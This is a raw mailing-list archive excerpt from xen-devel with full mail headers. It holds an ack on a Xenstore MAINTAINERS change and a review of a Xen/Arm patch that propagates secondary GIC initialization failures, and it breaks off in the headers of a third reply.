Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260722103302.452529-1-jgross@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1784717032-754844E9-4EE3059C/0/0
X-purgate-type: clean
X-purgate-size: 225

On 22.07.2026 12:33, Juergen Gross wrote:
> Xenstore related docs should be covered by the Xenstore MAINTAINERS
> entry.
> 
> Signed-off-by: Juergen Gross <jgross@suse.com>

Acked-by: Jan Beulich <jbeulich@suse.com>



From xen-devel-bounces@lists.xenproject.org Wed Jul 22 11:04:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 11:04:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368354.1617763 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmUkc-0004Tq-4A; Wed, 22 Jul 2026 11:04:34 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368354.1617763; Wed, 22 Jul 2026 11:04:34 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmUkc-0004Tj-0d; Wed, 22 Jul 2026 11:04:34 +0000
Received: by outflank-mailman (input) for mailman id 1368354;
 Wed, 22 Jul 2026 11:04:32 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1wmUka-0004Td-NA
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 11:04:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmUka-005JC2-3a
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 13:04:32 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a60a3aa-e002-0a2a0a5209dd-0a2a450297ac-24
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 13:04:31 +0200
Received: from [40.93.195.60]
 (helo=SN4PR2101CU001.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a60a3b8-6ca4-0a2a45020019-285dc33cec6e-3
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 13:04:25 +0200
Received: from MN2PR20CA0054.namprd20.prod.outlook.com (2603:10b6:208:235::23)
 by IA1PR12MB6163.namprd12.prod.outlook.com (2603:10b6:208:3e9::22)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.18; Wed, 22 Jul
 2026 11:04:15 +0000
Received: from BN2PEPF000055DD.namprd21.prod.outlook.com
 (2603:10b6:208:235:cafe::65) by MN2PR20CA0054.outlook.office365.com
 (2603:10b6:208:235::23) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.10 via Frontend Transport; Wed,
 22 Jul 2026 11:04:15 +0000
Received: from satlexmb08.amd.com (165.204.84.17) by
 BN2PEPF000055DD.mail.protection.outlook.com (10.167.245.7) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.270.0 via Frontend Transport; Wed, 22 Jul 2026 11:04:15 +0000
Received: from satlexmb10.amd.com (10.181.42.219) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 22 Jul
 2026 06:04:15 -0500
Received: from satlexmb07.amd.com (10.181.42.216) by satlexmb10.amd.com
 (10.181.42.219) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 22 Jul
 2026 06:04:15 -0500
Received: from [10.252.145.116] (10.180.168.240) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Wed, 22 Jul 2026 06:04:13 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=R/f6s3zHVaFaO/oOdxZGHM509gS1VRxkjbBcOXFr3+vBxeR6KyHxQfqMyqdHBP8WtuV4LTPhuiME2suV6F5ldQn1iWqxDr+qBaUNQl6Zg43mu5rN+KEAF+dU+hk2+u05I3WO+6xDrOmCeTJ1zaTUr1oifgC1A5GUqNcxjlaTMlKUoopog9QuWsxBYdVKwn2E0NALMfVqIoIa8ctVnLJzmuYY2Hd/13/3diQHOUjA3Bg/buhJjtfrRaiyhA1FcVpMdTXze4+caT/UhgWh9Sb3E7axfvAtWXPUIbtONoC5Uw+6zvKEs7WbuJAqO0hqcfpLmnVJSjZjKcwyv+1l9Lm1ug==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=0WNCsv4nb9ekc0dsE2nL1fq+jIbdmfN14R8x2NcR1Yo=;
 b=kDlA0Q5bVf1L/zolE9Wz+UVa41kbK3NuGaDDmPGZf17RK6PDKEUJVSPB6W3xTEx6cy9uRdYwGEqKWlHxzSMEJUR6JA/HnXNpcsIETWDxZ3YdPzKR7NhX0wWjT6OhJk4yWcyfDlGxyAwUH5W61HYpf7rr+f/jUzkpCnIMMRDSPhsLGgqAswdxkqZ/+9O2IYLTm0kv9fSb8t9PA5a3jRhnD3O538HpLxC46cH/YsuFm12N4Z7On8G21VzHnzjoC8tcf00wsT5cNbpeK1/imljw5DynjosgJdmn33wBSh9Cy3E5ra+CvNHI218mEsNDWnUa63M8YW0paUyIXv8JnUUE7Q==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=epam.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=0WNCsv4nb9ekc0dsE2nL1fq+jIbdmfN14R8x2NcR1Yo=;
 b=WxZSW+ObYqi3FzfHQVwWaWd3NmZ+t/rCp6Zq+gZQq+twbDO+nbhht1qqyap1mHLZ85Y8/X6xrvL17In5i/EXKtA7r204ksc+POlQpQPx4VR3xJJM+KkAY5GukOso4bScPMFvGMAhVy1MARRwEnFQtFTe5/s/m3CKVQxe1nXaNBE=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <acb504c2-f66d-4c69-9fa0-db36030631bb@amd.com>
Date: Wed, 22 Jul 2026 13:04:14 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22] xen/arm: propagate secondary GIC initialization
 failures
To: Mykola Kvach <mykola_kvach@epam.com>, <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, "Volodymyr
 Babchuk" <Volodymyr_Babchuk@epam.com>
References: <9fd0d0eacf061cc2a32f440e3438c084fa9ca79c.1783678619.git.mykola_kvach@epam.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <9fd0d0eacf061cc2a32f440e3438c084fa9ca79c.1783678619.git.mykola_kvach@epam.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BN2PEPF000055DD:EE_|IA1PR12MB6163:EE_
X-MS-Office365-Filtering-Correlation-Id: 38d38dde-4e66-4889-6448-08dee7e0f83a
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|36860700016|376014|82310400026|23010399003|22082099003|18002099003|10067099003|56012099006|11063799006|6133799003;
X-Microsoft-Antispam-Message-Info:
	DAfxZO9p8g3Jc3Id7eqRpINpMBqugBGdGjVmXL72kAE8MEYdKK1AoY4jyVTL5I2W0ljH8rpTnzXqqvPVwfZBmyzlUqn+eUk7QGQalashhe7Dj8HhuoYYlbGPMQmIqZFBwcYEPJVLr8s1FRwVJ1eYzjcDbSBBeipXDl+C8z7/NQCcI6XkFg0+y2c4zsAUYTH2qFv/RMm9WoP3HUPbimfrARhHpgetRxPpP+ivWP0N/NykfH21mdv8Ke9TM0V7LSmwrf/EFR7ig6Ky5oc4zh1bCJYeeNl5SjDZ84/BJ30iE5SjH/ZWd/ovmUdNEAaYjnl7m3YIyeFijssDlEt2WnFbd5o/vKFPn8DrVmsE68Cup2TtweGrX6kHJtshCuqbdlWOddScoDzr1QjVFyrltmh+F+J/njgdgT4zMzV940S5DdcpUr+XkOKz82mlR2vIcqgx+BX+nOCWf7GQnY9yC0OuFGr19cITyRPdaPx/P4Mggf5Ucftf7wRR66NkWWynpFGNI5yomBerqaUTCetOyKqra+mOLIcuAEepw14y34s4gtVOwZ9xsSobL0WmRf07rKcbT8IF6Mk8J6Jay4UgGTAJI73SWcoRd3BWYLByJ66LhBxPnf++Y2xhzHRK/lqyAx/JuXbLTSAc25fSac0e6XD88VPRrPIC8MYxfrvM6rwyqasqnu/Jh+6JZrdGo9tEdptRmiDobV1dwJM1PCUunHNhLA==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(1800799024)(36860700016)(376014)(82310400026)(23010399003)(22082099003)(18002099003)(10067099003)(56012099006)(11063799006)(6133799003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	gFGrIPplmA3MW05wFIzkchiuGlP3XJ4v0Qd+Y/uiWDcVPKLoeB3ulDDCS3XLlFE77NlMGFB3JLkuZBh9kLu6c+pwZPJoqK/QbZpUuGiH/4/CD4Sv8NtNwI7RMbjUZVNF/Sq0MwZLeyzGLYAxUS6/q16uaD7dmZ8exkzAK5DPK1beM/MBuZYoKhlqz9zynCLOlNjZ655dFIlWI1EU44bn5yWoLi7enOV+Rpq1u3gegv76FCg7AjlWp0U3pszt91T1WVB3TlHmjYmg0BrIXG9SKAUavo9JjNGwM/5d9exIr+e0JkcY4vEQw+bxQpLpy2n6N3f+cXCJ35+P9jviW+Exd//D6NQNP5U+zUOWG1o0mdQSzbPteK1HU0ZVKp+nWsEFIR37GbaN/98nEbAcI6blqIFCfJ8+lMx5WgRq/CAerG1Lq9D8Vb6lvHJPBGhDqdk1
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 22 Jul 2026 11:04:15.6061
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 38d38dde-4e66-4889-6448-08dee7e0f83a
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BN2PEPF000055DD.namprd21.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: IA1PR12MB6163
X-purgate-ID: tlsNG-720697/1784718265-31FD62AC-5DB64CDD/0/0
X-purgate-type: clean
X-purgate-size: 3161



On 10-Jul-26 12:20, Mykola Kvach wrote:
> The GICv3 secondary_init() callback can fail while discovering or
> waking a Redistributor, enabling LPIs, or setting up an ITS collection.
> gic_init_secondary_cpu() currently discards that status. start_secondary()
> then marks the CPU online even though its per-CPU GIC interface may be
> unusable.
> 
> Return the callback status through the common GIC layer. Have
> start_secondary() report the failure and stop the affected CPU before it
> is added to cpu_online_map.
> 
> Fixes: bc183a0235e0 ("xen/arm: Add support for GIC v3")
> Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
> ---
>  xen/arch/arm/gic.c             | 10 ++++++++--
>  xen/arch/arm/include/asm/gic.h |  2 +-
>  xen/arch/arm/smpboot.c         |  9 ++++++++-
>  3 files changed, 17 insertions(+), 4 deletions(-)
> 
> diff --git a/xen/arch/arm/gic.c b/xen/arch/arm/gic.c
> index ee75258fc3..078049e741 100644
> --- a/xen/arch/arm/gic.c
> +++ b/xen/arch/arm/gic.c
> @@ -282,11 +282,17 @@ void smp_send_state_dump(unsigned int cpu)
>  }
>  
>  /* Set up the per-CPU parts of the GIC for a secondary CPU */
> -void gic_init_secondary_cpu(void)
> +int gic_init_secondary_cpu(void)
>  {
> -    gic_hw_ops->secondary_init();
> +    int rc = gic_hw_ops->secondary_init();
> +
> +    if ( rc )
> +        return rc;
> +
>      /* Clear LR mask for secondary cpus */
>      clear_cpu_lr_mask();
> +
> +    return 0;
>  }
>  
>  /* Shut down the per-CPU GIC interface */
> diff --git a/xen/arch/arm/include/asm/gic.h b/xen/arch/arm/include/asm/gic.h
> index ff22dea40d..ee2c26adb4 100644
> --- a/xen/arch/arm/include/asm/gic.h
> +++ b/xen/arch/arm/include/asm/gic.h
> @@ -291,7 +291,7 @@ extern void gic_preinit(void);
>  /* Bring up the interrupt controller, and report # cpus attached */
>  extern void gic_init(void);
>  /* Bring up a secondary CPU's per-CPU GIC interface */
> -extern void gic_init_secondary_cpu(void);
> +extern int gic_init_secondary_cpu(void);
>  /* Take down a CPU's per-CPU GIC interface */
>  extern void gic_disable_cpu(void);
>  /* setup the gic virtual interface for a guest */
> diff --git a/xen/arch/arm/smpboot.c b/xen/arch/arm/smpboot.c
> index ba5fd2dd52..5e23b0b6a9 100644
> --- a/xen/arch/arm/smpboot.c
> +++ b/xen/arch/arm/smpboot.c
> @@ -319,6 +319,7 @@ smp_prepare_cpus(void)
>  void asmlinkage noreturn start_secondary(void)
>  {
>      unsigned int cpuid = init_data.cpuid;
> +    int rc;
>  
>      memset(get_cpu_info(), 0, sizeof (struct cpu_info));
>  
> @@ -373,7 +374,13 @@ void asmlinkage noreturn start_secondary(void)
>       */
>      update_system_features(&current_cpu_data);
>  
> -    gic_init_secondary_cpu();
> +    rc = gic_init_secondary_cpu();
> +    if ( rc )
> +    {
> +        printk(XENLOG_ERR "CPU%u: Failed to initialize the GIC: %d\n",
> +               cpuid, rc);
NIT: While functionally identical, for consistency with the neighbouring
messages you may want to use smp_processor_id() here instead of cpuid. I can
change on commit.

Reviewed-by: Michal Orzel <michal.orzel@amd.com>

~Michal



From xen-devel-bounces@lists.xenproject.org Wed Jul 22 11:34:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 22 Jul 2026 11:34:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1368375.1617770 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmVDV-0000QI-22; Wed, 22 Jul 2026 11:34:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1368375.1617770; Wed, 22 Jul 2026 11:34:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmVDU-0000QB-Vg; Wed, 22 Jul 2026 11:34:24 +0000
Received: by outflank-mailman (input) for mailman id 1368375;
 Wed, 22 Jul 2026 11:34:24 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1wmVDT-0000Q5-U3
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 11:34:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmVDS-0049BJ-Iv
 for xen-devel@lists.xenproject.org; Wed, 22 Jul 2026 13:34:22 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a60aabe-e002-0a2a0a5209dd-0a2a4502a488-0
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 13:34:22 +0200
Received: from [52.101.85.10]
 (helo=BYAPR05CU005.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a60aabb-6ca4-0a2a45020019-3465550acb63-4
 for <xen-devel@lists.xenproject.org>; Wed, 22 Jul 2026 13:34:21 +0200
Received: from BN0PR04CA0188.namprd04.prod.outlook.com (2603:10b6:408:e9::13)
 by SJ2PR12MB8011.namprd12.prod.outlook.com (2603:10b6:a03:4c8::19)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.10; Wed, 22 Jul
 2026 11:34:15 +0000
Received: from BN1PEPF0000468C.namprd05.prod.outlook.com
 (2603:10b6:408:e9:cafe::53) by BN0PR04CA0188.outlook.office365.com
 (2603:10b6:408:e9::13) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.10 via Frontend Transport; Wed,
 22 Jul 2026 11:34:14 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 BN1PEPF0000468C.mail.protection.outlook.com (10.167.243.137) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.245.5 via Frontend Transport; Wed, 22 Jul 2026 11:34:13 +0000
Received: from satlexmb07.amd.com (10.181.42.216) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 22 Jul
 2026 06:34:13 -0500
Received: from [10.252.145.116] (10.180.168.240) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Wed, 22 Jul 2026 06:34:12 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=yy/bCW8cPsnAumDNuiRatWPN0dsTD7Hnd9z+cZVYuj16aH3Kw/Ojsr7ej4/AELPTPPBS/JdpxAbjcvgYMcpzwI2xLlrs03YLkcs3eFTTpVI3CEY+praJQ81JBEn5vNR1/v77z2Esq0Ah1muHa9Q/9glPFHsW2KCw1XWxb0EqGDq5KzN3E5iPjxCsORq6fToNHP+NbzZut2KMhgL7/5fVMOnCNBpofrEZlWKKvhSQ3Iw+NTwp6vlTRnvIp4UnqDrqbKFgzSrjAepdCZAqbEwc/kK/h8th0/9HNjoPYysVCC76zHtrbvLJNzsEJJmTJv8z0kxXE1ggMZb60Gsx2qfVHA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=/PrAISZ80dH/pvJ1z3AFS9sh+RmZbNllugWXlIHQreE=;
 b=TdNCLrdWwG7xvMmxn43Y1hR274HAFN/G4rNpzX/7Q7hk/CNy7X9mLKiZc+K0HLZ7u16NbB7Qxp1sQkFEs8RnauNCiKx/aLZ78U/TfrtuF1cNutb0SstlFH8mdG/xIzyB3Hvm01+JztwfUWLtbEXg4Je54yHwgEcxZ/ymrMIF6dqaU85ENV2oYNZEQfj42a0BdAVTIJU4bTlHwCwBEnJ7WLtxge9uxeezNEORDigosfUdEe/Uua+/9+ll1infNo1w80mgT3JgrycMYe7oyD0N6ixNYo3cPSBG4WY07RROJ3kcBOXCU/mCDWZxWA/ut+m8ruoRHL9kjuikzSbO9jA/4w==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=epam.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=/PrAISZ80dH/pvJ1z3AFS9sh+RmZbNllugWXlIHQreE=;
 b=n+JIfv9LbED6666c060IjUu53hmOGanj5GpRVUH+QRelKX8w87vqePUbshFth3YriZRg02aQGASl4FpA0LQCVJay38wISKUUtKcHD85HxmDfBjob8Ucdm67SlZ00onOth7hN7o8NW6KB1l0jYGj2sPf1h8uSMDAqWBAI0Zy58to=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
Message-ID: <c7816066-2956-46e4-b25d-8ac358a444df@amd.com>
Date: Wed, 22 Jul 2026 13:34:12 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22] xen/arm: derive GIC CPU interface ID fields from
 the vGIC
To: Mykola Kvach <mykola_kvach@epam.com>, <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, Volodymyr
 Babchuk <Volodymyr_Babchuk@epam.com>
References: <ba4f779d68c54efc80c4a566dca38ac2e6f9a073.1783675708.git.mykola_kvach@epam.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <ba4f779d68c54efc80c4a566dca38ac2e6f9a073.1783675708.git.mykola_kvach@epam.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BN1PEPF0000468C:EE_|SJ2PR12MB8011:EE_
X-MS-Office365-Filtering-Correlation-Id: da8d8500-37f0-4f3e-9349-08dee7e52824
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|36860700016|1800799024|23010399003|376014|82310400026|56012099006|10067099003|11063799006|18002099003|6133799003|22082099003;
X-Microsoft-Antispam-Message-Info:
